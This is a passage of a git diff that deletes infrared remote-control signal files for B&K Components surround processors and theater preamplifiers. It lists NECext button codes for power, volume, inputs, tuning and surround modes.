-command: F5 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: TREB_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: BK001_TREBLE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: AUDIO_TREBLE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: VIDEO_SOURCE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FA 00 00 00 -# -name: DIM_-- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FE 00 00 00 -# -name: DIM_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FE 00 00 00 -# -name: BK001_DIMENSION- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir deleted file mode 100644 index a14b04353..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir +++ /dev/null @@ -1,440 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 03 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: IN_1_VCR -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: IN_3_TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 07 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: IN_2_TIVO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: IN_7_TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: IN_4_DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: IN_5_CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 15 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 16 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 18 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 19 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1A 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1D 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 24 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 29 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2A 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3E 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 40 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: IN_6_SAT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 65 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 6E 00 00 00 -# -name: AM_TUNER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 7D 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8A 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 9A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CA 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E2 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E5 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir deleted file mode 100644 index 2549520c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir +++ /dev/null @@ -1,590 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: Z2_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: Z2_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: Z2_MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: Z2_VCR_[V1] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: V3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: Z2_TIVO_[V2] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: FM_INPUT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0E 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CNTR_< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: CNTR_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: REAR_> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: SUB_> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: Z2_VOL_DN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: Z2_VOL_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: MENU_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: EX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: LTRT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: HEADPHONE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: Z2_SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: PAN+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4E 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: BASS< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: DPL -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: AM_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: Z2_RADIO_[AM] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: TREB< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: FM_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: Z2_RADIO_[FM] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: IMG+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9E 00 00 00 -# -name: NEO_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CA 00 00 00 -# -name: PAN__ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CE 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: BASS_> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: DPLII -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: IMG_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: TREB> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir deleted file mode 100644 index 8a6f02d42..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK003_POWER_OFF -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 01 00 00 00 -# -name: BK003_POWER_ON -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 02 00 00 00 -# -name: BK003_MUTE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 03 00 00 00 -# -name: BK003_V1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 05 00 00 00 -# -name: BK003_TV -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 06 00 00 00 -# -name: BK003_V2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 09 00 00 00 -# -name: BK003_TAPE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0B 00 00 00 -# -name: BK003_DVD -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0D 00 00 00 -# -name: BK003_CD -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0F 00 00 00 -# -name: BK003_CENTER- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 15 00 00 00 -# -name: BK003_CENTER+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 16 00 00 00 -# -name: BK003_REAR- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 19 00 00 00 -# -name: BK003_REAR+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1A 00 00 00 -# -name: BK003_SUB- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1D 00 00 00 -# -name: BK003_SUB+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1E 00 00 00 -# -name: BK003_LEFT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1F 00 00 00 -# -name: BK003_RIGHT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 20 00 00 00 -# -name: BK003_VOLUME- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 23 00 00 00 -# -name: BK003_VOLUME+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 24 00 00 00 -# -name: BK003_NUMBER_+10 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 29 00 00 00 -# -name: BK003_EQ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2A 00 00 00 -# -name: BK003_DVD-AUDIO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2B 00 00 00 -# -name: BK003_DOWN -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2D 00 00 00 -# -name: BK003_UP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2E 00 00 00 -# -name: BK003_MENU -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2F 00 00 00 -# -name: BK003_ENTER/SELECT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 30 00 00 00 -# -name: BK003_NUMBER_1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 31 00 00 00 -# -name: BK003_NUMBER_2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 32 00 00 00 -# -name: BK003_NUMBER_3 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 33 00 00 00 -# -name: BK003_NUMBER_4 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 35 00 00 00 -# -name: BK003_NUMBER_5 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 36 00 00 00 -# -name: BK003_NUMBER_6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 37 00 00 00 -# -name: BK003_NUMBER_7 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 39 00 00 00 -# -name: BK003_NUMBER_8 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3A 00 00 00 -# -name: BK003_NUMBER_9 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3B 00 00 00 -# -name: BK003_NUMBER_0 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: BK003_Z -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3F 00 00 00 -# -name: BK003_SAVE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 40 00 00 00 -# -name: BK003_SAT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4A 00 00 00 -# -name: BK003_PRESET+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4B 00 00 00 -# -name: BK003_PANORAMA+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4E 00 00 00 -# -name: BK003_INFO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 53 00 00 00 -# -name: BK003_BASS- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 65 00 00 00 -# -name: BK003_GAME -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 6A 00 00 00 -# -name: BK003_MOVIE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 72 00 00 00 -# -name: BK003_AM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 76 00 00 00 -# -name: BK003_TREBLE- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 79 00 00 00 -# -name: BK003_EXIT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 7D 00 00 00 -# -name: BK003_DIMENSION+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 81 00 00 00 -# -name: BK003_CINEMA -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8A 00 00 00 -# -name: BK003_FM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8E 00 00 00 -# -name: BK003_MONO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 9A 00 00 00 -# -name: BK003_IMAGE+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 9E 00 00 00 -# -name: BK003_NEO:6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: AA 00 00 00 -# -name: BK003_MUSIC -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: B2 00 00 00 -# -name: BK003_SLEEP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: B3 00 00 00 -# -name: BK003_PRESET- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: C6 00 00 00 -# -name: BK003_SURROUND -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CA 00 00 00 -# -name: BK003_PANORAMA- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CE 00 00 00 -# -name: BK003_STEREO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E2 00 00 00 -# -name: BK003_BASS+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E5 00 00 00 -# -name: BK003_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EA 00 00 00 -# -name: BK003_IMAGE- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EE 00 00 00 -# -name: BK003_TREBLE+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: F9 00 00 00 -# -name: BK003_DIMENSION- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir deleted file mode 100644 index a27dc9923..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK005_POWER_OFF -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 01 00 00 00 -# -name: BK005_POWER_ON -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 02 00 00 00 -# -name: BK005_MUTE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 03 00 00 00 -# -name: BK005_V1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 05 00 00 00 -# -name: BK005_TV -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 06 00 00 00 -# -name: BK005_V2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 09 00 00 00 -# -name: BK005_TAPE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0B 00 00 00 -# -name: BK005_DVD -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0D 00 00 00 -# -name: BK005_CD -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0F 00 00 00 -# -name: BK005_CENTER- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 15 00 00 00 -# -name: BK005_CENTER+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 16 00 00 00 -# -name: BK005_REAR- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 19 00 00 00 -# -name: BK005_REAR+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1A 00 00 00 -# -name: BK005_SUB- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1D 00 00 00 -# -name: BK005_SUB+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1E 00 00 00 -# -name: BK005_LEFT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1F 00 00 00 -# -name: BK005_RIGHT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 20 00 00 00 -# -name: BK005_VOLUME- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 23 00 00 00 -# -name: BK005_VOLUME+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 24 00 00 00 -# -name: BK005_NUMBER_+10 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 29 00 00 00 -# -name: BK005_EQ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2A 00 00 00 -# -name: BK005_DVD-AUDIO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2B 00 00 00 -# -name: BK005_DOWN -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2D 00 00 00 -# -name: BK005_UP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2E 00 00 00 -# -name: BK005_MENU -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2F 00 00 00 -# -name: BK005_ENTER/SELECT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 30 00 00 00 -# -name: BK005_NUMBER_1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 31 00 00 00 -# -name: BK005_NUMBER_2 -type: parsed -protocol: NECext -address: CB 43 